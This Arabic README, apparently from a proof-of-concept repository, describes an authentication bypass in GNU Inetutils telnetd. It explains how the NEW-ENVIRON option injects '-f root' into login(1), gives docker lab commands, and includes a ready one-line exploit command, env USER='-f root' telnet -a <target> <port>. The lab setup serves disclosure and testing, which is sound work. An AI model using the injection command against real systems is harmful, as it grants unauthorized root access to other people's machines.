
GNU Inetutils telnetd تجاوز المصادقة عن بُعد
بجدية، telnet في 2026؟ هيا يا جماعة، حان وقت التقدم. SSH موجود منذ 1995. 🤦
ثغرة حرجة في تجاوز المصادقة في GNU Inetutils telnetd تؤثر على الإصدارات من 1.9.3 حتى 2.7.
تستغل الثغرة خيار telnet NEW-ENVIRON لحقن وسائط خبيثة في login(1). من خلال تعيين USER=-f root عبر بروتوكول telnet، يمكن للمهاجم تجاوز المصادقة والحصول على صلاحيات root بدون بيانات اعتماد.
يدعم بروتوكول telnet خيار NEW-ENVIRON (RFC 1572) الذي يسمح للعميل بإرسال متغيرات البيئة إلى الخادم. يقوم خادم telnetd بتمرير متغير USER إلى login(1) كوسيط.
من خلال إرسال USER=-f root، يتم تفسير القيمة على النحو التالي:
-f: تخطي المصادقة (مضيف موثوق)root: المستخدم المستهدفيؤدي هذا إلى تنفيذ login -f root، مما يمنح وصولاً فوريًا بصلاحيات root.
يكتشف PoC نجاح الاستغلال عن طريق التحقق من IAC WILL ECHO (0xff 0xfb 0x01) - إشارة البروتوكول التي يرسلها الخادم عند منح الوصول إلى الصدفة.
# بناء وتشغيل حاوية telnetd الضعيفة
docker compose up --build -d
# اختبار الاستغلال
go run poc.go 127.0.0.1 2323
# باستخدام PoC بلغة Go (مع صدفة تفاعلية)
go run poc.go <target> <port>
# PoC بسيط باستخدام عميل telnet القياسي
env USER='-f root' telnet -a <target> <port>
poc.go - استغلال Go مع صدفة تفاعليةDockerfile - حاوية telnetd الضعيفةdocker-compose.yml - تنسيق المختبر